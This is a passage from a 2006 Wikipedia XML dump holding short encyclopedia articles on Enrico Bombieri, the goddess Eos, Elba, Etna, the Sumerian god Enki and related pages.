* [http://www.geocities.com/quirkasaurus/queens8/index.html Quirkasaurus' 8 Queens Solution]
* [http://www.obereed.net/queens/ LISP solution for N-Queens Problem]
* [http://www.geocities.com/ndjapic/OSIGKStanisic/Dame.html javascript solution for 8-Queens Problem]
[[Category:Chess problems]]
[[Category:Recreational mathematics]]
[[Category:Combinatorics]]

[[de:Damenproblem]]
[[es:Problema de las n damas]]
[[fr:Problème des huit dames]]
[[it:Rompicapo delle otto regine]]
[[ja:エイト・クイーン]]
[[sl:Problem osmih dam]]
[[sr:Проблем осам дама]]</text>
    </revision>
  </page>
  <page>
    <title>Enrico Bombieri</title>
    <id>10475</id>
    <revision>
      <id>40363370</id>
      <timestamp>2006-02-20T01:50:07Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Enrico Bombieri''' (born [[November 26]], [[1940]]) is an [[Italy|Italian]] [[mathematician]], born in [[Milan]]. He is now at the [[Institute for Advanced Study]]. He is known for work in [[number theory]], [[algebraic geometry]], and [[mathematical analysis]]. He was awarded a [[Fields Medal]] in [[1974]].

[[Bombieri's theorem]] is one of the major applications of the [[large sieve method]]. It improves [[Dirichlet's theorem]] on [[prime number]]s in [[arithmetic progression]]s, by showing that by averaging over the modulus over a range, the mean error is much less than can be proved in a given case. This result can sometimes substitute for the still-unproved [[generalized Riemann hypothesis]].

==External links==
* [http://www-groups.dcs.st-andrews.ac.uk/~history/Mathematicians/Bombieri.html Bombieri biography]

{{Fields medalists}}

[[Category:1940 births|Bombieri, Enrico]]
[[Category:Living people|Bombieri, Enrico]]
[[Category:Italian mathematicians|Bombieri, Enrico]]
[[Category:20th century mathematicians|Bombieri, Enrico]]
[[Category:21st century mathematicians|Bombieri, Enrico]]
[[Category:Number theorists|Bombieri, Enrico]]
[[Category:Members and associates of the US National Academy of Sciences|Bombieri, Enrico]]

[[de:Enrico Bombieri]]
[[fr:Enrico Bombieri]]
[[ko:엔리코 봄비에리]]
[[it:Enrico Bombieri]]
[[ja:エンリコ・ボンビエリ]]
[[pl:Enrico Bombieri]]</text>
    </revision>
  </page>
  <page>
    <title>Edward M. McMillan</title>
    <id>10476</id>
    <revision>
      <id>15908287</id>
      <timestamp>2003-08-31T05:41:36Z</timestamp>
      <contributor>
        <username>Jiang</username>
        <id>10049</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Edwin McMillan]]</text>
    </revision>
  </page>
  <page>
    <title>Eos</title>
    <id>10477</id>
    <revision>
      <id>40235347</id>
      <timestamp>2006-02-19T03:41:15Z</timestamp>
      <contributor>
        <username>Charivari</username>
        <id>735037</id>
      </contributor>
      <minor />
      <comment>wikilink disambig</comment>
      <text xml:space="preserve">:''For other uses of the name Eos, see [[Eos (disambiguation)]].  For the Slavic goddesses called the Auroras, see [[The Zorya]].''

[[Image:Eos.jpg|thumb|right|250px|''Eos'', by [[Evelyn De Morgan]] (1850 - 1919), 1895 (Columbia Museum of Art, Columbia, SC): for a [[Pre-Raphaelite]] painter, Eos was still the classical pagan equivalent of an angel]]  

'''Eos''' (&quot;dawn&quot;) was, in [[Greek mythology]], the [[Titan (mythology)|Titan]] [[goddess]] of the dawn, who rose from her home at the edge of [[Oceanus]], the Ocean that surrounds the world, to herald her brother [[Helios]], the sun. As the dawn goddess, she opened the gates of heaven (with &quot;rosy fingers&quot;) so that Helios could ride his chariot across the sky every day. In [[Homer]] (''Iliad'' viii.1; xxiv.695), her yellow robe is embroidered or woven with flowers (''Odyssey'' vi:48 etc); rosy-fingered and with golden arms, she is pictured on Attic vases as a supernaturally beautiful woman, crowned with a tiara or [[diadem (personal wear)|diadem]] and with the large white-feathered wings of a bird. Eos is the [[icon]]ic original from which Christian [[angel]]s were imagined, for no images were available from the Hebrew tradition, and the Persian angels were unknown in the West. The worship of the dawn as a goddess is inherited from [[Indo-European]] times; Eos is cognate to [[Latin]] [[Aurora]] and to [[Vedic religion|Vedic]] [[Ushas]].

[[Quintus Smyrnaeus]] pictured her exulting in her heart over the radiant horses (Lampos and Phaithon) that drew her chariot, amidst the bright-haired [[Horae|Horai]], the feminine Hours, climbing the arc of heaven and scattering sparks of fire (1.48).

She is most often associated with her Homeric [[epithet]] &quot;rosy-fingered&quot; (''rhododactylos''), but Homer also calls her '''Eos Erigeneia:''' 

:&quot;That brightest of stars appeared, ''[[Lucifer|Eosphoros]],'' that most often heralds the light of early-rising Dawn (''Eos Erigeneia'').&quot;
::&amp;mdash;''[[Odyssey]]'' 13.93

And Hesiod: &quot;And after these Erigeneia  [&quot;Early-born&quot;] bore the star Eosphorus (&quot;Dawn-bringer&quot;), and the gleaming stars with which heaven is crowned.&quot;  
::&amp;mdash;''Theogony'' 378-382 

Thus Eos, preceded by the Morning Star, is seen as the genetrix of all the stars.

Eos was the daughter of [[Hyperion (mythology)|Hyperion]] and [[Theia]] (or [[Pallas]] and [[Styx (mythology)|Styx]]) and sister of [[Helios]] the sun and [[Selene]] the moon, &quot;who shine upon all that are on earth and upon the deathless Gods who live in the wide heaven&quot; [[Hesiod]] told in ''Theogony'' (371-374). The generation of Titans preceded all the familiar deities of Olympus, who supplanted them.

Eos was free with her favors and had many consorts, both among the generation of Titans and among the handsomest mortals. With [[Aeolus]], the keeper of the winds, she bore all the winds and stars.  Her passion for the Titan [[Orion (mythology)|Orion]] was unrequited. Eos kidnapped [[Cephalus]], [[Clitus]], [[Ganymede]], and [[Tithonus]] to be her lovers. Eos' most faithful consort was [[Tithonus]], from whose couch the poets imagine her arising. When [[Zeus]] stole Ganymede from her to be his cup-bearer, she asked for Tithonus to be made immortal, but forgot to ask for eternal youth.  Tithonus indeed lived forever but grew more and more ancient, eventually turning into a cricket.  

Tithonus and Eos had two sons, [[Memnon]] and [[Emathion]]. Memnon fought among the Trojans in the [[Trojan War]] and was slain. Her image with the dead Memnon across her knees, like [[Thetis]] with the dead [[Achilles]], are [[icon]]s that inspired the Christian [[Pietà]]. 

Eos kidnapped [[Cephalus]] when he was hunting. Although Cephalus was already married to [[Procris]], he had a relationship with Eos for some time and she bore him three sons, but he then began pining for Procris, causing a disgruntled Eos to return him to her - and put a curse on them. Cephalus accidentally killed Procris some time later after he mistook her for an animal while hunting; Procris, a jealous wife, was spying on him and heard him singing to the wind, &quot;Aura&quot;, but thought he was serenading his ex-lover Aurora (i.e. Eos).

In the more restrictive Hellenic world, [[Apollodorus]], a later Greek poet, claimed, in an anecdote rather than a myth, that her disgraceful abandon was a torment from [[Aphrodite]], who found her on the couch with [[Ares]]. (Apollodorus, ''Library'' 1.27).

Her [[Roman mythology|Roman]] equivalent was Aurora, her [[Etruscan mythology|Etruscan]] equivalent was [[Thesan]]. The Dawn became associated in Roman cult with Matuta; later known as [[Mater Matuta]] she was also associated with the sea harbors and ports.  She had a temple of the [[Forum Boarium]].  On [[June 11]], the [[Matralia]] was celebrated at that temple in honor of Mater Matuta; this festival was only for women in their first marriage.

With Zeus, Eos had a daughter named [[Ersa]].

&lt;!-- reference needed for: '''Eos''' was the name of one of [[Helios]]'s horses. --&gt;

==Consorts/Children==

# With [[Aeolus]]
## [[Boreas]]
## [[Eurus]]
## [[Heosphorus]]
## [[Notus]]
## All the stars
## [[Zephyrus]]
# [[Tithonus]]
## [[Emathion]]
## [[Memnon]]
# [[Cephalus]]
## [[Phaeton]]
## [[Tithonos]]
## [[Hesperus]]
# With [[Zeus]]
## [[Ersa]]

Camera system developed by Canon; See Canon photographic.

==External links==
{{Commonscat|Eos}}
*[http://www.theoi.com/Ouranos/Eos.html Eos]: many references from Greek and Roman written sources, from Homer to Late Antiquity.

[[Category:Greek goddesses]]
[[Category:Solar goddesses]]
[[Category:Titans]]

[[ast:Eos]]
[[bg:Еос]]
[[da:Eos]]
[[de:Eos (Mythologie)]]
[[es:Eos]]
[[fr:Éos (mythologie)]]
[[it:Eos]]
[[he:אאוס]]
[[lt:Eos]]
[[hu:Éósz]]
[[nl:Eos (mythologie)]]
[[ja:エオス]]
[[pl:Eos]]
[[pt:Eos]]
[[ru:Эос]]
[[sl:Eos]]
[[fi:Eos]]
[[sv:Eos]]</text>
    </revision>
  </page>
  <page>
    <title>Eduardo Blasco Ferrer</title>
    <id>10478</id>
    <revision>
      <id>23584615</id>
      <timestamp>2005-09-20T08:56:22Z</timestamp>
      <contributor>
        <username>Caerwine</username>
        <id>347371</id>
      </contributor>
      <text xml:space="preserve">'''Eduardo Blasco Ferrer''' is a professor at the [[University of Cagliari]], [[Sardinia]], best known as the author of several studies about the [[Sardinian language]]. His masterpiece, &quot;Ello Ellus&quot;, is often considered the most accurate Sardinian grammar.

{{academic-bio-stub}}
{{Italy-writer-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Elba</title>
    <id>10479</id>
    <revision>
      <id>41502102</id>
      <timestamp>2006-02-27T20:19:52Z</timestamp>
      <contributor>
        <username>Ahoerstemeier</username>
        <id>7580</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/207.232.175.4|207.232.175.4]] ([[User talk:207.232.175.4|talk]]) to last version by Curps</comment>
      <text xml:space="preserve">:''For other places with the same name, see [[Elba (disambig)]].''

[[Image:Elba isl.jpg|thumb|300px|Elba (top center) from space, February 1994]]
[[Image:Tuscan archipelago.png|thumb|right|300px|Elba and the Tuscan Archipelago.]]

'''Elba''' (Latin &quot;Ilva&quot;) is an [[island]] in [[Tuscany]], [[Italy]], 20 km from the coastal town of [[Grosseto]] ({{coor dm|42|44|N|10|22|E|}}) . It is the largest island of the [[Tuscan Archipelago]], and the third largest Italian island. Elba and other islands of the Tuscan Archipelago are protected in the [[National Park of the Tuscan Archipelago]].

The island is divided into eight communes: the capital [[Portoferraio]], [[Campo nell'Elba]], [[Capoliveri]], [[Marciana]], [[Marciana Marina]], [[Porto Azzurro]], [[Rio Marina]] and [[Rio nell'Elba]]. 

==History==

Following the [[Treaty of Fontainebleau]], [[France|French]] emperor [[Napoleon I of France|Napoleon Bonaparte]] was exiled to Elba when overthrown (the first time), inspiring the famous [[palindrome]]: &quot;Able was I ere I saw Elba.&quot; Napoleon stayed on Elba for 9 months and 21 days, being given the title &quot;Emperor.&quot; Although he was nominally sovereign of Elba, the island was watched (more or less) by British naval patrols. During these months, partly to pass the time and partly out of a genuine concern for the well-being of the people, he carried out a series of economic and social reforms to improve the quality of life on Elba. Napoleon eventually escaped Elba and returned to France on [[February 26]] for a [[Hundred Days]] before being exiled again this time to the [[South Atlantic]] island of [[Saint Helena]], where he died. French troops landed on Elba on [[June 17]] [[1944]].

More recently, the island has become famed for its [[wine]].

[[Free-diving|Free-diver]] [[Jacques Mayol]] committed suicide here on [[December 22]], [[2001]].

{{italy-geo-stub}}

[[Category:Islands of Italy]]
[[Category:Wine regions of Italy]]
[[Category:Tuscany]]

[[bg:Елба (остров)]]
[[ca:Illa d'Elba]]
[[de:Elba (Insel)]]
[[et:Elba]]
[[es:Elba (Isla)]]
[[fr:Île d'Elbe]]
[[gl:Illa de Elba]]
[[ko:엘바 섬]]
[[id:Elba]]
[[it:Isola d'Elba]]
[[he:אלבה (אי)]]
[[la:Elba]]
[[nl:Elba]]
[[ja:エルバ島]]
[[no:Elba]]
[[pl:Elba]]
[[pt:Ilha de Elba]]
[[ro:Elba]]
[[sv:Elba]]</text>
    </revision>
  </page>
  <page>
    <title>Etna (disambiguation)</title>
    <id>10480</id>
    <revision>
      <id>38780277</id>
      <timestamp>2006-02-08T16:37:31Z</timestamp>
      <contributor>
        <username>Percy Snoodle</username>
        <id>163840</id>
      </contributor>
      <comment>[[computer role playing game|role-playing game]]</comment>
      <text xml:space="preserve">*'''[[Mount Etna]]''' (or ''Ætna'') is an active [[volcano]] on the east coast of [[Sicily]] (Italian ''Sicilia''), close to [[Messina, Italy|Messina]] and [[Catania]]. It is 3,340 m (10,958 ft) high. On the safe part of its hills a famous [[wine]] is produced. It is the highest active volcano in Europe.
*In [[Greek mythology]], '''Etna''' is the goddess of the volcano of the same name in Sicily.  She was considered a daughter of [[Uranus (mythology)|Uranus]] and [[Gaia (mythology)|Gaia]].  The dragon [[Typhon]] lived underneath the volcano and caused the destructive eruptions.  Sicily, a land of volcanoes and grain, was the subject of argument between [[Hephaestus]] and [[Demeter]], gods of fire and the harvest, respectively.  Etna stepped in and arbitrated.  She was sometimes thought of as the mother of the [[Palici]].
*'''Etna''' is a brand of Italian [[wine]].
*'''Etna''' is a character in the [[computer role playing game|role-playing game]] ''[[Disgaea: Hour of Darkness]]'' for the [[PlayStation 2]].
*An '''etna''' is a device for heating liquids in a saucer of burning [[alcohol]].
*'''Etna''' is the name of a number of places in the [[United States|United States of America]]:-
**[[Etna, California]]
**[[Etna, Georgia]]
**[[Etna, Illinois]]
**[[Etna, Indiana]]
**[[Etna, Kentucky]] 
**[[Etna, Maine]] 
**[[Etna, Minnesota]] 
**[[Etna, Missouri]] 
**[[Etna, Nebraska]] 
**[[Etna, Nevada]] 
**[[Etna, New Hampshire]]
**[[Etna, New York]] 
**[[Etna, Ohio]] 
**[[Etna, Oklahoma]] 
**[[Etna, Pennsylvania]] 
**[[Etna, Utah]] 
**[[Etna, Washington]] 
**[[Etna, Wisconsin]] 
**[[Etna, Wyoming]]
*[[Etna (river)|Etna]] is a river in the landscape of [[Valdres]], [[Norway]].

{{disambig}}

[[de:Etna]]
[[id:Etna (disambiguasi)]]
[[it:Etna]]</text>
    </revision>
  </page>
  <page>
    <title>Enki</title>
    <id>10481</id>
    <revision>
      <id>41821724</id>
      <timestamp>2006-03-01T23:37:33Z</timestamp>
      <contributor>
        <username>Pixie921</username>
        <id>277142</id>
      </contributor>
      <minor />
      <comment>/* Enki's Influence */</comment>
      <text xml:space="preserve">{{Mesopotamian myth (7)}}

'''Enki''' was a deity in [[Sumerian mythology]], later known as '''Ea''' in [[Babylonian mythology]]. The name '''Ea''' is of [[Sumerian]] origin and was written by means of two signs signifying &quot;house&quot; (E) and &quot;water&quot; (A/Ab).

==His attributes== 

[[Image:Enki4.jpg|thumb|left|Enki as portaryed in various cylendar seals, by Courtesy of the Trustees of the Brisith Museum]] Enki was the deity of [[water]], [[intelligence]] and [[creation]]. The main temple of Enki was the so-called ''é-engur-a'', the &quot;house of the lord of deep waters&quot;; it was in [[Eridu]], which was then located in the wetlands of the [[Euphrates]] valley not far from the [[Persian Gulf]]. He was the keeper of the holy powers called ''[[Me (mythology)|Me]]'', the gifts of [[civilization|civilised]] living. Enki is also the master shaper of the world, God of [[wisdom]] and of all [[magic]].  The exact meaning of his name is not sure: the common translation is &quot;Lord of the Earth&quot;: the [[Sumerian]] ''en'' is translated as &quot;lord&quot;, was originally a title given to the High Priest; ''ki'' means &quot;earth&quot;; but there are theories that ''ki'' in this name has another origin, possibly ''kur'' (= mound).  In this way it is just possible that in origin Enki was a divinitized human, high priest of the mound of Eridu, on which the first Sumerian temple was built.

He is the lord of the [[Apsu]] (Akkadian, Abzu in Sumerian, hence Greek and English ''Abyss'') , the fresh-water ocean of [[groundwater]] under the [[earth]]. His name is possibly an epithet bestowed on him for the creation of the first man, [[Adamah]] or [[Adapa]]. His symbols included a [[goat]] and a [[fish]], symbols at the opposite ends of the year ([[Pisces]] and Capricorn) which later combined into a single beast, the [[Capricorn]], which became one of the signs of the [[zodiac]].  Enki in Sumerian astronomy also represented the planet [[Mercury]], known for its ability to shift rapidly, and its proximity to the [[Sun]], Sumerian [[Utu]], Akkadian [[Shamash]], the God of [[Justice]].

In [[Moral character|character]] Enki is not a [[joker]] or [[trickster]] God, he is never a [[cheat]], a [[fool]] nor a [[shapeshifter]]. Enki uses his magic for the good of others when called upon to help either a God, a Goddess or a Human.  Enki is always true to his own essence as a [[masculinity|masculine]] nurturer. He is fundamentally a trouble-shooter God, and avoids or disarms those who bring conflict and death to the world. He is the mediator whose [[compassion]] and sense of humour breaks and disarms the wrath of his stern half-brother, [[Enlil]], king of the Gods.  He is the Challenger who tests the limits of [[Inanna]] in the myth ''Enki and Inanna and the Me'' and then concedes graciously his defeat by the young goddess of Love and War, by strengthening the bonds between [[Eridu]] and her city of [[Uruk]]. So he becomes the [[Empower]]er of Inanna.
Enki is always direct and upfront. Enki does not hide, or have any hidden agenda. 

Enki has been said to be:
:''&quot;The most complete and modern mirror of masculine wholeness in Mesopotamia and world religion. His values and attributes are timeless, and it is not surprising to see that He is one of the most beloved gods of Mesopotamia. How can He be so whole? Because in Him the passionate and joyous Lover, the Mystic, the Strategist, the Sorcerer, the Divine Manager, the Keeper of World Order and Rescuer of Humankind and Gods alike are all One.'' 

:''Enki is ... the gallant, impetuous, energetic Lord of Wisdom, the Seeker after truth, and Master Adept in sorcery, enchantment and seduction.&quot;'' [[http://www.gatewaystobabylon.com/gods/lords/lordenki.html]]

==Enki, the creator of Humankind==

In [[Sumerian]] and later [[Akkadian]] or [[Babylonian]] [[Cosmology]] there were six generations of Gods that led to the creation of the Younger ([[Igigi]]) [[divinity|divinities]] of the [[Anunaki]] (Anu = heaven, Na = And, Ki = Earth).  In the seventh generation (Akkadian &quot;Shappatu&quot; hence the [[Hebrew language|Hebrew]] [[Shabbat]]h =&gt; [[English language|English]] [[Sabbath]]), the younger Gods went on strike, put down their tools and refused to keep the creation working.  In the Babylonian creation myth the ''[[Enuma Elish]]'', Abzu, the water lord, threatens to take back the creation with a universal flood, but Enki averts the threat by imprisonning Abzu beneath the Earth.  [[Kingu]], his son, informs his mother, Abzu's wife, the serpentine [[Tiamat]] (Ti = Life, Ama = mother, Biblical ''[[tehwom]]'' = the deeps), and in anger she threatens to take back the whole of creation.  The Gods gather in terror, but Enlil (his place in the Enuma Elish is later taken by Enki's son [[Marduk]]) subdues and slays Tiamat with the arrows of his winds which he shoots down her throat.  The Bible refers indirectly to this in Genesis 1:3 ''&quot;And the breath of God moved across the face of the waters&quot;''.

But the problem created by the &quot;strike of the Gods&quot; remains, how is creation to continue?  Enki proposes that the Gods make humankind as their servant, and give humans the task of keeping creation going.  It is agreed, and Enki wroughts humanity out of the red earth (Hebrew [[Adamah]]), mingled with the red blood of the God Kingu, slain for his part in Tiamat's attack.  Enlil fills his lungs with air (Hebrew [[ruach]], Greek [[pneuma]], Latin [[spirit|spiritus]]), and humans are alive.  In this way, Humanity is given the task of maintaining the balance of nature and keeping the created order in place.  We are at once both in body of the earth but in spirit we are divine.  As the [[Bible]] later explains, we are made in the image of God.

Another myth, &quot;Enki and Adapa&quot;, tells of how humanity loses the chance at immorality.  Adapa, who is Abgallu (Ab = Water, Gal = Great, Lu = Man) (Akkadian Apkallu), Enki's advisor, to the first king of Eridu, Allulim, inadvertantly breaks the wings of the South Wind, [[Ninlil]] (See ''[[Lilith]]'') (Nin = Lady, Lil = Air), daughter of Anu (the Heavens) and wife to Enlil, [[King of the Gods]].  In terror at the thought of their retribution, Adapa seeks the advice of Enki.  Enki advises that Adapa make a deep and sincere atonement, but advises Adapa to eat nothing given to him by the Gods, as he will probably be given the food of death, out of their anger at his deeds.  Adapa takes Enki's advice, but the Gods, so impressed by the sincerity of Adapa's sorrow and grief as to what he did, offered instead the fruit of immortality.  Adapa remembering Enki's words, refuses, and so misses out on the chance of eternal life.

==Enki, restorer of balance==

Enki had a penchant for [[beer]] and a string of [[incest]]uous affairs. In the epic ''Enki and Ninhursag'', he and his consort [[Ninhursag]] had a daughter [[Ninsar]]. When Ninhursag left him he came upon and then had intercourse with Ninsar (Lady Greenery)who gave birth to [[Ninkurra]] (Lady Fruitfulness or Lady Pasture). A second time, he had intercourse with Ninkurra, who gave birth to [[Uttu]], the spider, the one who maintains interconnectedness of all with all.  A third time Enki succumbs to temptation. Upset about Enki's reputation, Uttu consults Ninhursag, who, upset at the promiscuous nature of her spouse, advises Uttu to avoid the riverbanks.  Ninhursag takes Enki's semen and plants it in the earth where six or eight plants rapidly germinate.  With his two-faced servant and steward Isimud, Enki finds the plants and immediately starts consuming their fruit.  Unaccountably he falls ill in his jaw, his teeth, his mouth, his throat, his limbs and his rib.  The Gods are at a loss to know what to do, until Ninhursag's sacred fox fetches the Goddess.  

Ninhursag relents and takes Enki's Ab (water, or semen) into her body, and gives birth to Gods of healing of each part of the body.  The last one - Ninti, Sumerian = Lady Rib, is also a pun on Lady Life, a title of Ninhursag herself.  The story symbolically reflects the way in which life is brought forth through the addition of water to the land, and once it grows, water is required to bring plants to fruit.  It also counsels balance and responsibility, nothing to excess.  In this way Enki learns painfully what happens when things are out of balance - Enki is thus a God of [[ecology]].  Ninti,is given the title of the mother of all living. This is also the title given to Eve, the Aramaic Hawwah, who was made from the Rib of Adam, in a strange reflection of the Sumerian myth.

==Enki, Champion of Humankind==

According to Sumerian mythology, Enki also assisted humanity to survive the Deluge designed to kill them. In the Legend of [[Atrahasis]] Enlil, the jealous king of the Gods sets out to elimate humanity, whose noise is offensive to his ears.  He successively sends drought, famine and plague to eliminate humanity, but Enki thwarts his half-brother's plans by teaching Atrahasis irrigation, granaries and medicine.  Humans again proliferate a fourth time.  Enraged [[Enlil]], convenes a Council of Deities and gets them to promise not to tell [[Humanity (abstraction)|humankind]] that he plans their total annihilation.  Enki, doesn't tell Atrahasis, but tells of Enlil's plan to the walls of Atrahasis' reed hut, thus covertly rescuing the man Atrahasis, or [[Utnapishtim|Ziusudra]] by either instructing him to build some kind of an boat for his family, or by bringing him into the heavens in a magic boat.  After the seven day Deluge, the flood hero, [[Utnapishtim]], [[Atrahasis]] or [[Ziusudra]] frees a swallow, a raven and a dove in an effort to find if the flood waters have receeded.  On the boat landing, a sacrifice is organized to the Gods.  Enlil is angry his will has been thwarted yet again, and Enki is named as the culprit.  As God of what we would call ecology, Enki explains that Enlil is unfair to punish the guiltless Atrahasis for the sins of his fellows, and secures a promise that the Gods will not eliminate humankind if they practice birth control and live within the means of the natural world.  The threat is made, however, that if humans do not honour their side of the [[covenant]] the Gods will be free to wreck havok once again.  This is apparently the oldest surviving source of the [[Noah's Ark]] myth and other parallel [[Middle East]]ern [[Deluge (mythology)|Deluge myths]].

==His portrayal==

[[Image:Enki.jpg|thumb|right|Enki (seated) shown with waters flowing to his shoulders.  The man-bird held captive is said to be the Anzu bird who stole the Me from Enlil.]] Enki was considered a god of life and replenishment, and was often depicted with two streams of water emanating from his shoulders, one the Tigris, the other the Euphrates. Alongside him were trees symbolising the male and female aspects of nature, each holding the male and female aspects of the 'Life Essence', which he, as apparent alchemist of the gods, would masterfully mix to create several beings that would live upon the face of the earth.

[[Eridu]], (Uru = City, Idug = Good) meaning &quot;the good city&quot;, was the oldest settlement in the Euphrates valley, and is now represented by the mounds known as ''Abu Shahrein''. In the absence of inscriptions from excavations on that site, we are dependent for our knowledge of Ea on material found elsewhere. This is, however, sufficient to enable us to state definitely that Ea was a water-deity lord, especially of the water under the earth, the [[Apsu]]. Whether Ea (or ''A-e'' as some scholars prefer) represents the real pronunciation of his name we do not know.

Older accounts sometimes suppose that by reason of the constant accumulation of soil in the Euphrates valley, Eridu was formerly situated on the Persian Gulf itself (as indicated by mention in Sumerian texts of its being on the Apsu), but for a long time it was thought that the opposite is true, that the waters of the Persian Gulf have been eroding the land and that the Apsu must refer to the fresh water of the marshes surrounding the city.  Today it is known that during the [[Ubaid]] period the waters of the world were between 1.5 and 5 metres higher than their current level, with the result that Eridu was a port city with a quai, and shipping from [[Dilmun]] ([[Bahrein]]), [[Makan]] ([[Oman]]), and [[Melluhha]] (the [[Indus]]).

==Enki's Influence==

'''Ea''' was apparently depicted, sometimes, like Adapa, as a man covered with the scales of a fish, and this representation, as likewise the name of his temple E-apsu, &quot;house of the watery deep&quot;, points decidedly to his original character as a god of the waters (see [[Oannes]]). Of his [[cult]] at Eridu, which goes back to the oldest period of Mesopotamian history, nothing definite is known except that his temple was also called named ''Esaggila'' = &quot;the lofty sacred house&quot; (E = house, Sag = sacred, Ila = High), a name shared with Marduk's temple in Babylon, pointing to a staged tower or [[Ziggurat]] (as with the temple of [[Enlil]] at [[Nippur]], which was known as ''Ekur'' (&quot;Kur&quot; = mountain &quot;E&quot; = house), and that incantations, involving ceremonial rites in which water as a sacred element played a prominent part, formed a feature of his worship.  The pool of the Abzu at the front of his temple, was adopted also at the temple to [[Nanna]] ([[Akkadian]] [[Sin]]) the Moon, at [[Ur]], and spread throughout the Middle East.  It remains, as the sacred pool at [[Mosques]], and as the [[Baptismal font]] in [[Christian]] [[Church]]es.

Whether Eridu at one time also played an important political role in Sumerian affairs is not certain, though not improbable. At all events the prominence of &quot;Ea&quot; led, as in the case of Nippur, to the survival of Eridu as a sacred city, long after it had ceased to have any significance as a political centre. Myths in which Ea figures prominently have been found in [[Assurbanipal]]'s library, indicating that Ea was regarded from the first as the protector and teacher of mankind, and as far back as the [[Hattusas]] [[archive]] in [[Hittite]] [[Anatolia]].  Enki/Ea is essentially a god of civilization, wisdom and culture.  He was also the creator and protector of man, and of the world in general. Traces of this view appear in the Marduk epic celebrating the achievements of this god and the close connection between the Ea cult at Eridu and that of Marduk. The correlation between the two rise from two other important connections: (1) that the name of Marduk's sanctuary at Babylon bears the same name, ''Esaggila'', as that of Ea in Eridu, and (2) that Marduk is generally termed the son of Ea, who derives his powers from the voluntary abdication of the father in favour of his son. Accordingly, the incantations originally composed for the Ea cult were re-edited by the priests of Babylon and adapted to the worship of [[Marduk]], and, similarly, the hymns to Marduk betray traces of the transfer of attributes to Marduk which originally belonged to Ea.

It is, however, as the third figure in the triad (the two other members of which were [[Anu]] and [[Enlil]]) that Ea acquires his permanent place in the pantheon. To him was assigned the control of the watery element, and in this capacity he becomes the ''shar apsi'', i.e. king of the Apsu or &quot;the deep.&quot; The Apsu was figured as the abyss of water beneath the earth, and since the gathering place of the dead, known as Aralu, was situated near the confines of the Apsu, he was also designated as [[En-Ki]], i.e. &quot;lord of that which is below&quot;, in contrast to Anu, who was the lord of the &quot;above&quot; or the heavens. The cult of Ea extended throughout Babylonia and [[Assyria]]. We find temples and shrines erected in his honour, e.g. at Nippur, Girsu, [[Ur]], Babylon, Sippar and [[Nineveh]], and the numerous epithets given to him, as well as the various forms under which the god appears, alike bear witness to the popularity which he enjoyed from the earliest to the latest period of Babylonian-Assyrian history. The consort of Ea, known as Ninhursag, Ki, Uriash [[Damkina]], &quot;lady of that which is below,&quot; or [[Damgalnunna]], &quot;great lady of the waters,&quot; originally was fully equal with Ea but in more [[patriarchy|patriarchal]] [[Assyrian]] and [[Neo-Babylonian]] times plays a part merely in association with her lord.   Generally, however, Enki seems to be a reflection of pre-patriarchal times, in which relations between the sexes were characterised by a situation of greater [[gender equality]].  In his character, he prefers pursuasion to conflict, which he seeks to avoid if possible.

==Enki, Ea and Yahweh==

In [[Ebla]], the city in [[Syria]] conquered in about 2250 BCE by [[Sargon]] of [[Akkad]] and his grandson [[Naram-Sin]], Dr [[Giovanni Pettinato]], who translated the archive found that at the time of the greatest Southern [[Mesopotamian]] influence, during the reign of [[Ebrum]], there was a tendency to replace the name of [[El]], king of the Gods of the [[Canaanite]] [[Pantheon]], (as for example Michael = MIKA'''EL''') with ''Yah'', as in MIK'''IAH'''.  Jean Bottero and many others, have suggested that ''Yah'' in this case is a West Semite or Canaanite way of saying '''Ea''', Enki's Akkadian name.

'''[[Yah]]''', '''[[Yahu]]''', or '''[[Yaw]]''' becomes the God of the Waters, of ''[[Yamm]]'' (the Sea) and ''[[Nahar]]'' (the Rivers) in Levantine Mythology, contesting with Baal Hadad, the storm God (the Canaanite divinity equivalent to Enlil), for supreme power.  It has been suggested that this God - Canaanite ''Yah'' (Ea/Enki), unified with the Aramaic &quot;Mother of all Living&quot; - the Goddess ''[[Hawwah]]'' (Akkadian Ninhursag), into a single androgenous creator divinity, may be the origin of the [[Tetragrammaton]] [[YHWH]] ([[Yahweh]], from Yah and Hawwah) [[http://www.bibleorigins.net/YahwehYawUgarit.html]]. This would explain Yahweh's role as Creator, the God who made Humankind, and the God who saved Noah from the Flood, all attributes of Enki.  Thus it may be that behind [[Jehovah]] himself, lies the nature and character of the earlier Sumerian God.  

''Some of this article was originally from the [[1911 Encyclopædia Britannica]].''

== Enki in popular culture ==
* In the [[science fiction]] [[book]] ''[[Snow Crash]]'', by [[Neal Stephenson]], Enki is portrayed as a proto-[[hacker]] or as Stephenson puts it &quot;a [[Neurolinguistics|neurolinguistic]] hacker&quot;; his ability to manipulate people through language culminated in him introducing [[sentience]] to mankind.
* According to [[Zecharia Sitchin]] (q.v.), Enki was an alien genetic engineer responsible for the creation of mankind. His theories are not accepted by the majority of historians, mythologists and scientists.
* Norwegian [[black metal]] band [[Burzum]] wrote a song called &quot;Ea, Lord Of The Deeps&quot;.
* In the [[Outlanders]] series novel ''Dragoneye'' by [[Mark Ellis]] aka [[James Axler]], Enki appears as a crippled reptilian, the last of the [[Anunnaki]].

==References==
* Jacobsen, Thorkild (1976) &quot;Treasures of Darkness; A History of Mesopotamian Religion&quot;, (Yale University Press, London, New Heaven) ISBN 0300022913
* Bottero, Jean (2004) &quot;Religion in Ancient Mesopotamia&quot; (University Of Chicago Press) ISBN 0226067181   
* Kramer, Samuel Noah (1998) &quot;Sumerian Mythology: A Study of Spiritual and Literary Achievement in the Third Millennium B.C.&quot; (University of Pennsylvania Press; Revised edition) ISBN 0812210476  
 

== See also ==
* [[Sumerian mythology]]
* [[Mesopotamia]]
* [[Ancient Near East]]
* [[Capricorn]]

[[Category:Sumerian gods]]
[[Category:Sumerian mythology]]
[[Category:Akkadian gods]]
[[Category:Wisdom gods]]

[[bg:Енки]]
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[[tr:Enki]]</text>
    </revision>
  </page>
  <page>
    <title>Eli Wallach</title>
    <id>10482</id>
    <revision>
      <id>39087358</id>
      <timestamp>2006-02-10T17:04:26Z</timestamp>
      <contributor>
        <username>NekoDaemon</username>
        <id>239574</id>
